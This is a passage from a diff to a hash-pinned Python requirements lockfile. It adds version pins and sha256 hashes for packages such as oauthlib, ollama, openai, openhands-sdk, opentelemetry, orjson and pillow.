--hash=sha256:4ef089f985b8c194d341eb2c24ae6e7408c9a0e2e5658699c92f497437d88c3c \ + --hash=sha256:51cb455de290ae462593e5b1cb1118c5c22ea7f0d3620d9940bf695cea5a4bd7 \ + --hash=sha256:521f33e377ff64b96c4c556b81c55d0cfffb96a11c194fd0c3f1e56f3d8dd5a4 \ + --hash=sha256:53a42d364f323275126aff81fb67c5ca1b7a04fda0546245730a55c8c5f24bc4 \ + --hash=sha256:5aa873cbc8e593d361ae65c68f85faadd755c3295ea2c12040ee146802f23b38 \ + --hash=sha256:654030da3197d927f05a536a66186070e98765aa5142794c9904555d3a9d8fb5 \ + --hash=sha256:661709cdcd919a2ece2234f9bae7174e5220c80b034585d7d8a755632d3e2111 \ + --hash=sha256:680878b9f3d45c31e1f730eef731f9b0bc1da456155688c6745ee84eb818e90e \ + --hash=sha256:6843b28b0364dc605f21481c90fadb5f60d9123b442eb8a726bb74feef588a84 \ + --hash=sha256:68af405971779d8b37198726f2b6fe3955db846fee42db7a4286fc542203934c \ + --hash=sha256:6b4c3d199f953acd5b446bf7c0de1fe25d94e09e79086f8dc2f48a11a129cdf1 \ + --hash=sha256:6bdce131e14b04fd34a809b6380dbfd826065c3e2fe8a50dbae659fa0c390546 \ + --hash=sha256:716133f7d1d946a4e1b91b1756b23c088881e70ff180c24e864c26192ad7534a \ + --hash=sha256:749a72584761531d2b9467cfbdfd29487ee21124c304c4b6cb760d8777b27f9c \ + --hash=sha256:7516c579652f6a6be0e266aec0acd0db80829ca305c3d771ed898538804c2036 \ + --hash=sha256:79dcf9e477bc65414ebfea98ffd013cb39552b5ecd62908752e0e413d6d06e38 \ + --hash=sha256:7a0222514e8e4c514660e182d5156a415c13ef0aabbd71682fc714e327b95e99 \ + --hash=sha256:7b022717c748dd1992a83e219587aabe45980d88969f01b316e78683e6285f64 \ + --hash=sha256:7bf77f54997a9166a2f5675d1201520586439424c2511723a7312bdb4bcc034e \ + --hash=sha256:7e73299c99939f089dd9b2120a04a516b95cdf8c1cd2b18c53ebf0de80b1f18f \ + --hash=sha256:7ef6b61cad77091056ce0e7ce69814ef72afacb150b7ac6a3e9470def2198159 \ + --hash=sha256:7f5170993a0dd3ab871c74f45c0a21a4e2c37a2f2b01b5f722a2ad9c6650469e \ + --hash=sha256:803d685de7be4303b5a657b76e2f6d1240e7e0a8aa2968ad5811fa2285553a12 \ + --hash=sha256:8891681594162635948a636c9fe0ff21746aeb3dd5463f6e25d9bea3a8a39ca1 \ + --hash=sha256:8a19cdb57cd3df4cd865849d93ee14920fb97224300c88501f16ecfa2604b4e0 \ + --hash=sha256:8a3862568a36d26e650a19bb5cbbba14b71789032aebc0423f8cc5f150730184 \ + --hash=sha256:8b55d5497b51afdfde55925e04a022f1de14d4f4f25cdfd4f5d9b0aa96166851 \ + --hash=sha256:8cfc12a8630a29d601f48d47787bd7eb730e475e83edb5d6c5084317463373eb \ + --hash=sha256:9281bf5b34f59afbc6b1e477a372e9526b66ca446f4bf62592839c195a718b32 \ + --hash=sha256:92abb658ef2d7ef22ac9f8bb88e8b6c3e571671534e029359b6d9e845923eb1b \ + --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:95b5ffa4349df2887518bb839409bcf22caa72d82beec453216802f475b23c81 \ + --hash=sha256:9600082733859f00d79dee64effc7aef1beb26adb297416a4ad2116fd61374bd \ + --hash=sha256:960c60b5849b9b4f9dcc9bea6e3626143c252c74113df2c1540aebce70209b45 \ + --hash=sha256:9b2fd74c52accced7e75de26023b7dccee62511a600e62311b918ec5c168fc2a \ + --hash=sha256:9c0359b1ec12b1d6849c59f9d319610b7f20ef990a6d454ab151aa0e3b9f78ca \ + --hash=sha256:9cf41880c991716f3c7cec48e2f19ae4045fc9db5fc9cff27347ada24d710bb5 \ + --hash=sha256:9d14baca2ee12c1a64740d4531356ba50b82543017f3ad6de0deb943c5979abb \ + --hash=sha256:9f474ad5acda359c8758c8accc22032c6abe6dc87a8be2440d097785e27a9349 \ + --hash=sha256:9fb0211dfc3b51efea2f349ec92c114d7754dd62c01f81c3e32b765b70c45c9b \ + --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ + --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:a027ec240fe73a8d6281872690b988eed307cd7d91b23998ff35ff577ca688b5 \ + --hash=sha256:a048ce45dcdaaf1defb76b2e684f997fb5abf74437b6cb7b22ddad934a964e34 \ + --hash=sha256:a265acbb7bb33a3a2d626afbe756371dce0279e7b17f4f4eda406459c2b5ff1c \ + --hash=sha256:a35c5fc61d4f51eb045061e7967cfe3123d622cd500e8868e7c0c592a09fedc4 \ + --hash=sha256:a37bd74c3fa9d00be2d7b8eca074dc56bd8077ddd2917a839bd989612671ed17 \ + --hash=sha256:a60a4d75718a5efa473ebd5ab685786ba0c67b8381f781d1be14da49f1a2dc60 \ + --hash=sha256:a6ef16328011d3f468e7ebc326f24c1445f001ca1dec335b2f8e66bed3006394 \ + --hash=sha256:a90af66facec4cebe4181b9e62a68be65e45ac9b52b67de9eec118701856e7ff \ + --hash=sha256:ad9ce259f50abd98a1ca0aa6e490b58c316a0fce0617f609723e40804add2c00 \ + --hash=sha256:afa8a2978ec65d2336305550535c9c4ff50ee527914328c8677b3973ade52b85 \ + --hash=sha256:b15b3afff74f707b9275d5ba6a91ae8f6429c3ffb29bbfd216b0b375a56f13d7 \ + --hash=sha256:b284e319754366c1aee2267a2036248b24eeb17ecd5dc16022095e747f2f4304 \ + --hash=sha256:b2d7f80c4e1fd010b07cb26820aae86b7e73b681ee4889684fb8d2d4537aab13 \ + --hash=sha256:b3bc26a951007b1057a1c543af845f1c7e3e71cc240ed1ace7bf4484aa99196e \ + --hash=sha256:b3e34f3a1b8131ba06f1a73adab24f30934d148afcd5f5de9a73565a4404384e \ + --hash=sha256:b4121773c49a0776461f4a904cdf6264c88e42218aaa8407e803ca8025872792 \ + --hash=sha256:b61189b29081a20c7e4e0b49b44d5d44bb0dc92be3c6d06a11cc043f81bf9329 \ + --hash=sha256:b6234e14f9314731ec45c42fc4554b88133ad53a09092cc48a88e771c125dadb \ + --hash=sha256:b8512bac933afc3e45fb2b18da8e59b78d4f408399a960339598374d4ae3b56b \ + --hash=sha256:ba672b26069957ee369cfa7fc180dde1fc6f176eaf1e6beaf61fbebbd3d9c000 \ + --hash=sha256:bee7c0588aa0076ce77c0ea5d19a68d76ad81fcd9fe8501003b9a24f9d4000f6 \ + --hash=sha256:c04a328260dfd5db8c39538f999f02779012268f54614902d0afc775d44e0a62 \ + --hash=sha256:c1dcc7524066fa918c6a27d61444d4ee7900ec635779058571f70d042d86ed63 \ + --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + --hash=sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d \ + --hash=sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa \ + --hash=sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539 \ + --hash=sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993 \ + --hash=sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4 \ + --hash=sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad \ + --hash=sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa \ + --hash=sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f \ + --hash=sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1 \ + --hash=sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867 +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pathable==0.4.4 \ + --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ + --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 +pfzy==0.3.4 \ + --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ + --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + 